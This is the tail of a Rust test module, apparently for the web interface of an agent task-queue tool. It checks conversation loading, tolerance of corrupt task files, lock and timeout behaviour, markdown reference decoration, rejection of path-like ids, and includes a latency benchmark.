27999        assert!(ui.find_task_for_run("run-a").unwrap().is_none());
28000        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
28001        std::fs::write(&path, "broken").unwrap();
28002        assert!(ui.find_task_for_run("run-b").is_err());
28003        std::fs::write(&path, bytes).unwrap();
28004        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
28005        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
28006        assert!(ui.find_task_for_run("run-b").unwrap().is_none());
28007    }
28008
28009    #[tokio::test]
28010    async fn conversation_core_is_independent_of_unreadable_related_history() {
28011        let home = tempfile::tempdir().unwrap();
28012        let ui = delta_test_ui(home.path());
28013        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
28014        std::fs::create_dir_all(ui.queue.root()).unwrap();
28015        std::fs::write(ui.queue.root().join("unreadable.json"), "broken").unwrap();
28016        let Json(core) = talk_core(State(ui.clone()), Path(id.clone()))
28017            .await
28018            .unwrap();
28019        assert_eq!(core.talk.id, id);
28020        assert!(talk_sections(State(ui), Path(id)).await.is_ok());
28021    }
28022
28023    #[test]
28024    fn conversation_core_ignores_worker_store_lock_and_busy_secondary_pool() {
28025        let home = tempfile::tempdir().unwrap();
28026        let ui = delta_test_ui(home.path());
28027        let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
28028        let directory = home.path().join("workers/jobs/abcdef");
28029        std::fs::create_dir_all(&directory).unwrap();
28030        let job = crate::worker::Job {
28031            id: "abcdef".into(),
28032            sequence: 1,
28033            kind: "chat".into(),
28034            key: id.clone(),
28035            payload: serde_json::json!({ "talk": id }),
28036            generation: "test".into(),
28037            version: None,
28038            status: crate::worker::Status::Running,
28039            result: None,
28040            pid: None,
28041            created_at: 0,
28042            finished_at: None,
28043        };
28044        std::fs::write(
28045            directory.join("job.json"),
28046            serde_json::to_vec(&job).unwrap(),
28047        )
28048        .unwrap();
28049        let live = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
28050        let store =
28051            crate::worker::execution_lease_for_test(&home.path().join("workers/store.lock"));
28052        let runtime = tokio::runtime::Builder::new_current_thread()
28053            .enable_all()
28054            .max_blocking_threads(1)
28055            .build()
28056            .unwrap();
28057        runtime.block_on(async {
28058            let (release, held) = std::sync::mpsc::channel();
28059            let (started, ready) = tokio::sync::oneshot::channel();
28060            let occupied = tokio::task::spawn_blocking(move || {
28061                started.send(()).unwrap();
28062                held.recv().unwrap();
28063            });
28064            ready.await.unwrap();
28065            let secondary = tokio::spawn(talk_sections(State(ui.clone()), Path(id.clone())));
28066            let bulk = ui
28067                .monitor
28068                .bulk_slots
28069                .clone()
28070                .acquire_many_owned(2)
28071                .await
28072                .unwrap();
28073            let result = tokio::time::timeout(
28074                Duration::from_secs(2),
28075                talk_core(State(ui.clone()), Path(id.clone())),
28076            )
28077            .await;
28078            // Release all blockers before assertions, including on a regression.
28079            drop(store);
28080            drop(bulk);
28081            release.send(()).unwrap();
28082            occupied.await.unwrap();
28083            let _ = secondary.await.unwrap().unwrap();
28084            let Json(core) = result
28085                .expect("transcript must bypass secondary work and the worker store lock")
28086                .unwrap();
28087            assert!(
28088                core.thinking,
28089                "read-only observation retains live worker state"
28090            );
28091            assert_eq!(core.talk.id, id);
28092            let admission_ui = ui.clone();
28093            let (release, held) = std::sync::mpsc::channel();
28094            let (started, ready) = tokio::sync::oneshot::channel();
28095            let admission = std::thread::spawn(move || {
28096                let _lock = admission_ui.talk_turns.lock().unwrap();
28097                started.send(()).unwrap();
28098                held.recv().unwrap();
28099            });
28100            ready.await.unwrap();
28101            let result = tokio::time::timeout(
28102                Duration::from_secs(2),
28103                talk_core(State(ui.clone()), Path(id.clone())),
28104            )
28105            .await;
28106            release.send(()).unwrap();
28107            admission.join().unwrap();
28108            assert!(
28109                result
28110                    .expect("display must not wait behind local admission")
28111                    .unwrap()
28112                    .0
28113                    .thinking
28114            );
28115            assert!(ui.is_thinking(&id));
28116            assert!(ui.is_thinking_observed(&id));
28117            drop(live);
28118            assert!(
28119                !ui.is_thinking_observed(&id),
28120                "a finished lease no longer appears live"
28121            );
28122            assert!(!ui.is_thinking(&id));
28123            let _turn = ui.begin_talk_turn(&id).unwrap().unwrap();
28124            assert!(
28125                ui.is_thinking_observed(&id),
28126                "local admission remains visible"
28127            );
28128        });
28129    }
28130
28131    #[tokio::test]
28132    async fn conversation_core_defers_store_links_but_preserves_markdown_and_provenance() {
28133        let home = tempfile::tempdir().unwrap();
28134        let ui = delta_test_ui(home.path());
28135        let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
28136        let mut task = Task::new(
28137            "Referenced task".into(),
28138            "Unrelated instruction history".repeat(1024),
28139            home.path().into(),
28140            Source::Human,
28141        );
28142        task.id = "20261019-000000-abcd".into();
28143        ui.queue.put(&mut task).unwrap();
28144        let mut conversation = ui.talks.get(&id).unwrap();
28145        conversation.turns.push(talk::Turn {
28146            sender: Some(talk::Sender::Persona),
28147            who: talk::Who::Agent,
28148            body: "**Useful transcript** task@abcd and R2-1-3\n\n| Reference |\n| --- |\n| `abcd` |\n\n- task@abcd\n\n```\ntask@abcd\n```".into(),
28149            at: conversation.created_at,
28150            attachments: Vec::new(),
28151            usage: None,
28152            breaks: None,
28153            messages: Vec::new(),
28154            posted_by: None,
28155        });
28156        ui.talks.put(&mut conversation).unwrap();
28157
28158        let Json(core) = talk_core(State(ui.clone()), Path(id)).await.unwrap();
28159        let markdown = serde_json::to_value(&core.turn_bodies_md)
28160            .unwrap()
28161            .to_string();
28162        assert!(markdown.contains("\"strong\""));
28163        assert!(markdown.contains("\"table\""));
28164        assert!(markdown.contains("\"bullet_list\""));
28165        assert!(markdown.contains("\"code_block\""));
28166        assert!(!markdown.contains("\"internal_link\""));
28167        assert_eq!(core.talk.turns[0].sender, Some(talk::Sender::Persona));
28168        assert_eq!(core.talk.turns[0].body, conversation.turns[0].body);
28169        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
28170
28171        // Deferred decoration still resolves the same validated task, without
28172        // touching opaque code blocks or changing the original transcript.
28173        let references = ui.references.for_talk(home.path(), &conversation);
28174        let mut decorated = core.turn_bodies_md[0].clone();
28175        references.markdown(&mut decorated);
28176        let decorated = serde_json::to_value(decorated).unwrap().to_string();
28177        assert_eq!(decorated.matches("\"internal_link\"").count(), 3);
28178        assert!(decorated.contains(&format!("#/tasks/{}", task.id)));
28179        assert_eq!(
28180            ui.talks.get(&conversation.id).unwrap().turns[0].body,
28181            conversation.turns[0].body
28182        );
28183    }
28184
28185    #[tokio::test]
28186    async fn unrelated_corrupt_task_does_not_break_run_or_talk_relationships() {
28187        let home = tempfile::tempdir().unwrap();
28188        let ui = delta_test_ui(home.path());
28189        let talk_id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
28190        let mut run = RunState::new(
28191            PathBuf::from("/repo"),
28192            "main".into(),
28193            "01234567".into(),
28194            "Useful run".into(),
28195            Config::default(),
28196        );
28197        run.save_under(home.path()).unwrap();
28198        let mut task = Task::new(
28199            "Related".into(),
28200            "body".into(),
28201            PathBuf::from("/repo"),
28202            Source::Agent {
28203                run: talk_id.clone(),
28204                node: "chat".into(),
28205            },
28206        );
28207        task.runs = vec![run.id.clone()];
28208        ui.queue.put(&mut task).unwrap();
28209        std::fs::write(ui.queue.root().join("unrelated.json"), "broken").unwrap();
28210        assert_eq!(ui.find_task_for_run(&run.id).unwrap().unwrap().id, task.id);
28211        assert_eq!(ui.find_tasks_for_talk(&talk_id).unwrap()[0].id, task.id);
28212        assert!(
28213            run_detail(State(ui.clone()), Path(run.id.clone()))
28214                .await
28215                .is_ok()
28216        );
28217        assert!(
28218            talk_sections(State(ui.clone()), Path(talk_id.clone()))
28219                .await
28220                .is_ok()
28221        );
28222        // Previously indexed corruption must not masquerade as no relationship.
28223        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
28224        assert!(ui.find_task_for_run(&run.id).is_err());
28225        assert!(ui.find_tasks_for_talk(&talk_id).is_err());
28226        ui.queue.put(&mut task).unwrap();
28227        assert!(ui.find_task_for_run(&run.id).unwrap().is_some());
28228    }
28229
28230    #[tokio::test]
28231    async fn conversation_sections_omit_large_task_instructions() {
28232        let home = tempfile::tempdir().unwrap();
28233        let ui = delta_test_ui(home.path());
28234        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
28235        let mut task = Task::new(
28236            "filed task".into(),
28237            "large instruction ".repeat(65536),
28238            PathBuf::from("/repo"),
28239            Source::Agent {
28240                run: id.clone(),
28241                node: "chat".into(),
28242            },
28243        );
28244        ui.queue.put(&mut task).unwrap();
28245        let Json(sections) = talk_sections(State(ui), Path(id)).await.unwrap();
28246        assert_eq!(sections["tasks"][0]["id"], task.id);
28247        assert_eq!(sections["tasks"][0]["status_str"], task.status.as_str());
28248        assert!(sections["tasks"][0].get("instruction").is_none());
28249        assert!(serde_json::to_vec(&sections).unwrap().len() < 8192);
28250    }
28251
28252    #[test]
28253    fn exact_record_lookup_rejects_paths_and_preserves_short_id_ambiguity() {
28254        let home = tempfile::tempdir().unwrap();
28255        let talks = Talks::at(home.path().join("talks"));
28256        seed_talk_at(&talks, "20261019-000001-abcd", "open");
28257        seed_talk_at(&talks, "20261019-000002-abcd", "open");
28258        std::fs::write(home.path().join("outside.json"), "{}").unwrap();
28259        assert!(resolve_talk(&talks, "../outside").is_err());
28260        assert!(resolve_talk(&talks, "abcd").is_err());
28261        assert_eq!(
28262            resolve_talk(&talks, "20261019-000001-abcd").unwrap(),
28263            "20261019-000001-abcd"
28264        );
28265    }
28266
28267    include!(concat!(
28268        env!("CARGO_MANIFEST_DIR"),
28269        "/tests/web_latency/baseline.rs"
28270    ));
28271
28272    include!(concat!(
28273        env!("CARGO_MANIFEST_DIR"),
28274        "/tests/web_latency/lists.rs"
28275    ));
28276
28277    #[tokio::test]
28278    #[ignore = "local performance measurement; see docs/web-responsiveness.md"]
28279    async fn web_history_latency_measurement() {
28280        use std::time::Instant;
28281        let home = tempfile::tempdir().unwrap();
28282        let ui = delta_test_ui(home.path());
28283        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
28284        let mut template = ui.talks.get(&id).unwrap();
28285        template.turns = serde_json::from_value(serde_json::json!([{
28286            "who": "operator", "body": "Show the accumulated work and its current status.",
28287            "at": Timestamp::now().to_string(),
28288        }]))
28289        .unwrap();
28290        std::fs::write(
28291            ui.talks.path_of(&id),
28292            serde_json::to_vec(&template).unwrap(),
28293        )
28294        .unwrap();
28295        let count = std::env::var("MAGI_BENCH_RECORDS")
28296            .ok()
28297            .and_then(|s| s.parse::<usize>().ok())
28298            .unwrap_or(1000);
28299        for i in 0..count {
28300            template.id = format!("20261019-{i:06}-history");
28301            template.pending = "history ".repeat(2048);
28302            std::fs::write(
28303                ui.talks.path_of(&template.id),
28304                serde_json::to_vec(&template).unwrap(),
28305            )
28306            .unwrap();
28307            let mut task = Task::new(
28308                "old task".into(),
28309                "instruction ".repeat(2048),
28310                PathBuf::from("/repo"),
28311                Source::Human,
28312            );
28313            task.id = format!("20261019-{i:06}-task");
28314            ui.queue.put(&mut task).unwrap();
28315        }
28316        for baseline in [true, false] {
28317            for clients in [1, 4] {
28318                let parsed_before = ui.monitor.queue_index.lock().unwrap().reparsed;
28319                let mut samples = Vec::new();
28320                for _ in 0..12 {
28321                    let mut jobs = Vec::new();
28322                    for _ in 0..clients {
28323                        let ui = ui.clone();
28324                        let id = id.clone();
28325                        jobs.push(tokio::spawn(async move {
28326                            let start = Instant::now();
28327                            if baseline {
28328                                let response =
28329                                    baseline_talk_detail(State(ui), Path(id)).await.unwrap().0;
28330                                let elapsed = start.elapsed().as_secs_f64() * 1000.0;
28331                                return (
28332                                    elapsed,
28333                                    elapsed,
28334                                    serde_json::to_vec(&response).unwrap().len(),
28335                                );
28336                            }
28337                            let core = talk_core(State(ui.clone()), Path(id.clone()));
28338                            let secondary = talk_sections(State(ui), Path(id));
28339                            let (first, total) = tokio::join!(
28340                                async {
28341                                    let value = core.await.unwrap().0;
28342                                    (
28343                                        start.elapsed().as_secs_f64() * 1000.0,
28344                                        serde_json::to_vec(&value).unwrap().len(),
28345                                    )
28346                                },
28347                                async {
28348                                    let value = secondary.await.unwrap().0;
28349                                    (
28350                                        start.elapsed().as_secs_f64() * 1000.0,
28351                                        serde_json::to_vec(&value).unwrap().len(),
28352                                    )
28353                                }
28354                            );
28355                            (first.0, first.0.max(total.0), first.1 + total.1)
28356                        }));
28357                    }
28358                    for job in jobs {
28359                        samples.push(job.await.unwrap());
28360                    }
28361                }
28362                let mut first: Vec<_> = samples.iter().map(|s| s.0).collect();
28363                let mut total: Vec<_> = samples.iter().map(|s| s.1).collect();
28364                first.sort_by(f64::total_cmp);
28365                total.sort_by(f64::total_cmp);
28366                let n = first.len();
28367                let parsed = ui.monitor.queue_index.lock().unwrap().reparsed - parsed_before;
28368                println!(
28369                    "baseline={baseline} records={count} clients={clients} first_ms p50={:.2} p95={:.2}; complete_ms p50={:.2} p95={:.2}; bytes={}; indexed_task_parses={parsed}",
28370                    first[n / 2],
28371                    first[(n * 95 / 100).min(n - 1)],
28372                    total[n / 2],
28373                    total[(n * 95 / 100).min(n - 1)],
28374                    samples[0].2
28375                );
28376            }
28377        }
28378    }
28379
28380    #[test]
28381    fn app_js_contains_progressive_rendering_and_decoupled_reports() {
28382        // Assert that app.js decouples loadRun and does not block on Promise.allSettled for reports
28383        assert!(!APP_JS.contains("Promise.allSettled([\n    getJson(API.run(id)), getText(API.report(id)), getJson(API.reportJson(id))"));
28384        assert!(APP_JS.contains("function nextRunRequest(id)"));
28385        assert!(APP_JS.contains("function runShell(id, summary)"));
28386        assert!(APP_JS.contains("function nextTaskRequest(id)"));
28387        assert!(APP_JS.contains("function taskShell(id, summary)"));
28388        assert!(APP_JS.contains("state.detail.reportLoading = false;"));
28389    }
28390}